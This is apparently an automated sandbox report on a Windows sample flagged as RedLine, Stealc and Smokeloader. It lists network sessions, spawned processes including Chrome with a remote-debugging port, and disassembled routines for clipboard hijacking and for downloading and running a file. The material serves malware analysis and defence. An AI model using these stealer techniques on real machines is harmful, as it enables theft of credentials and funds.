2024-11-25 23:09:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:04 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 6b6acbbe-a01e-0021-3306-3d814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230904Z-178bfbc474bpnd5vhC1NYC4vr4000000080000000000s7kn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:09:04 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:04 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:09:05 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:05 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: eee9d3d7-e01e-0085-48d0-3ec311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230905Z-178bfbc474bbbqrhhC1NYCvw74000000088000000000e6yp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:09:05 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:04 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:09:05 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:05 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 8149a5d6-a01e-001e-117b-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230905Z-174c587ffdfmlsmvhC1TEBvyks00000006rg00000000f2g7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:09:05 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:05 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:09:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:05 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: c87fa586-301e-0052-7045-3c65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230905Z-174c587ffdfl22mzhC1TEBk40c00000006q000000000n3df x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:09:06 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:05 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:09:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:05 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: e8ec328a-c01e-0049-1675-3cac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230905Z-174c587ffdf8lw6dhC1TEBkgs800000006gg00000000r0yu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:09:06 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:06 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:09:06 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:06 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: b483f0ff-901e-007b-5c61-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230906Z-178bfbc474bfw4gbhC1NYCunf4000000083g00000000ecb7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 23:09:06 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:06 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:09:07 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:07 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: fe20bd9e-901e-0015-51c1-3eb284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230907Z-178bfbc474bq2pr7hC1NYCkfgg000000085g00000000p3wm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:09:07 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	18:07:02
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\IeccNv7PP6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\IeccNv7PP6.exe"
Imagebase:	0x400000
File size:	392'192 bytes
MD5 hash:	621B2C50B6826EACC84DC510F890FE48
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.4138092342.0000000002DAD000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	18:07:20
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\795F.tmp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\795F.tmp.exe"
Imagebase:	0x400000
File size:	414'208 bytes
MD5 hash:	73ADCB1012B382B6194C34B5CF277C9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000002.00000002.2393908794.0000000000730000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000003.1881236653.00000000022F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.2394084753.000000000085E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.2394052195.0000000000810000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000002.00000002.2394052195.0000000000810000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:07:28
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:07:29
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2396,i,7018353345002748784,17151017752572951290,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	18:07:51
Start date:	25/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7684 -s 2368
Imagebase:	0x330000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	3.8%
Signature Coverage:	5.8%
Total number of Nodes:	736
Total number of Limit Nodes:	22

Executed Functions

Function 004016E3 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 150
clipboardsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 004016EA
Sleep.KERNEL32(000011EB,0000004C), ref: 004016F4

Part of subcall function 0040CC35: _strlen.LIBCMT ref: 0040CC4C

OpenClipboard.USER32(00000000), ref: 00401721
GetClipboardData.USER32(00000001), ref: 00401731
GlobalLock.KERNEL32(00000000), ref: 00401740
_strlen.LIBCMT ref: 0040174D
_strlen.LIBCMT ref: 0040177C
_strlen.LIBCMT ref: 004018C0
EmptyClipboard.USER32 ref: 004018D6
GlobalAlloc.KERNEL32(00000002,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 004018E3
GlobalLock.KERNEL32(00000000), ref: 00401901
GlobalUnlock.KERNEL32(00000000), ref: 0040190D
SetClipboardData.USER32(00000001,00000000), ref: 00401916
GlobalFree.KERNEL32(00000000), ref: 0040191D
CloseClipboard.USER32 ref: 00401941
Sleep.KERNEL32(000002C7), ref: 0040194C

Strings

i, xrefs: 0040175D

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ClipboardGlobal$_strlen$DataLockSleep$AllocCloseEmptyFreeH_prolog3_OpenUnlock
String ID: i
API String ID: 1583243082-3865851505
Opcode ID: 62e215a5972df2954ee8547a1aec1863ca14d0d4ddbfcd9f91bb553889a70fc7
Instruction ID: e8206cc808b01b97a457829c5c6b97d93370119956ebdbcfeaa79ca2656f34e0
Opcode Fuzzy Hash: 62e215a5972df2954ee8547a1aec1863ca14d0d4ddbfcd9f91bb553889a70fc7
Instruction Fuzzy Hash: EE51E431D00344DBE3119BA4ED46BAD7774FF2A306F04523AE805B62B2EB789A85C75D

Function 00402A14 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 134
networkfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(ShareScreen,00000000,00000000,00000000,00000000), ref: 00402A37
InternetOpenUrlW.WININET(00000000,0045D830,00000000,00000000,00000000,00000000), ref: 00402A4D
GetTempPathW.KERNEL32(00000105,?), ref: 00402A69
GetTempFileNameW.KERNEL32(?,00000000,00000000,?), ref: 00402A7F
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00402AB8
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 00402AF4
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00402B11
CloseHandle.KERNEL32(00000000), ref: 00402B27
ShellExecuteExW.SHELL32(?), ref: 00402B88
WaitForSingleObject.KERNEL32(?,00008000), ref: 00402B9D
CloseHandle.KERNEL32(?), ref: 00402BA9
InternetCloseHandle.WININET(00000000), ref: 00402BB2
InternetCloseHandle.WININET(00000000), ref: 00402BB5

Strings

.exe, xrefs: 00402A8B
ShareScreen, xrefs: 00402A32
<, xrefs: 00402B65

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Internet$CloseFileHandle$OpenTemp$CreateExecuteNameObjectPathReadShellSingleWaitWrite
String ID: .exe$<$ShareScreen
API String ID: 3323492106-493228180
Opcode ID: cad18285665068766dab7c5d0808057bd44f811c01f48194dcd94531fdcff3d3
Instruction ID: d8cef6b8be2db64f00d3760719452557403e9faa7f5bbaccd6a49820079d0072
Opcode Fuzzy Hash: cad18285665068766dab7c5d0808057bd44f811c01f48194dcd94531fdcff3d3
Instruction Fuzzy Hash: 3E41537190021CAEEB20DF50DD85FEAB7BCFF05745F0080FAA545A2190DEB49E858FA4

Function 02DADC6E Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02DADC96
Module32First.KERNEL32(00000000,00000224), ref: 02DADCB6

Memory Dump Source

Source File: 00000000.00000002.4138092342.0000000002DAD000.00000040.00000020.00020000.00000000.sdmp, Offset: 02DAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dad000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 2671fcedd24b0ba3184ac17a55fa687d59aa9058b0c74f618270d88a3535a336
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 36F096352007107BD7203BF5999DF6EB6EEFF4D624F500528E646D1AC0DBB0EC458AA1

Function 00432F49 Relevance: 13.8, APIs: 9, Instructions: 300
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf5b903c5d4d7d43f3395e6d2b0615cff82c67b54ffa341e922cfa30cc62cd86
Instruction ID: d6ce50a492f9084338ba33edda2eca6d731db0489828e8dd55d9f9b17e416b32
Opcode Fuzzy Hash: bf5b903c5d4d7d43f3395e6d2b0615cff82c67b54ffa341e922cfa30cc62cd86
Instruction Fuzzy Hash: 6EC11370E04245AFDB11DFA9D841BAFBBB0BF0D305F08119AE815A7392C3789A41CB69

Function 0043D05C Relevance: 13.8, APIs: 9, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0043CD2A: CreateFileW.KERNEL32(00000000,00000000,?,0043D105,?,?,00000000,?,0043D105,00000000,0000000C), ref: 0043CD47

GetLastError.KERNEL32 ref: 0043D170
__dosmaperr.LIBCMT ref: 0043D177
GetFileType.KERNEL32(00000000), ref: 0043D183
GetLastError.KERNEL32 ref: 0043D18D
__dosmaperr.LIBCMT ref: 0043D196
CloseHandle.KERNEL32(00000000), ref: 0043D1B6
CloseHandle.KERNEL32(?), ref: 0043D300
GetLastError.KERNEL32 ref: 0043D332
__dosmaperr.LIBCMT ref: 0043D339

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 333ff1eee16b6be64793bd318ad3fa05ede6171504cd334b681c7e0d8fb5623c
Instruction ID: 006e68bf3f1d2291baca7e3f3ccd15ce7d6f583b40adfd1c0386b5d8b5644812
Opcode Fuzzy Hash: 333ff1eee16b6be64793bd318ad3fa05ede6171504cd334b681c7e0d8fb5623c
Instruction Fuzzy Hash: 70A13632E101049FDF19AF68EC917AE7BA0AF0A324F14115EF805AB3D1D7389D12CB5A

Function 0463003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0463024D

Strings

cess, xrefs: 0463018D
kernel32.dll, xrefs: 0463008F, 04630095

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
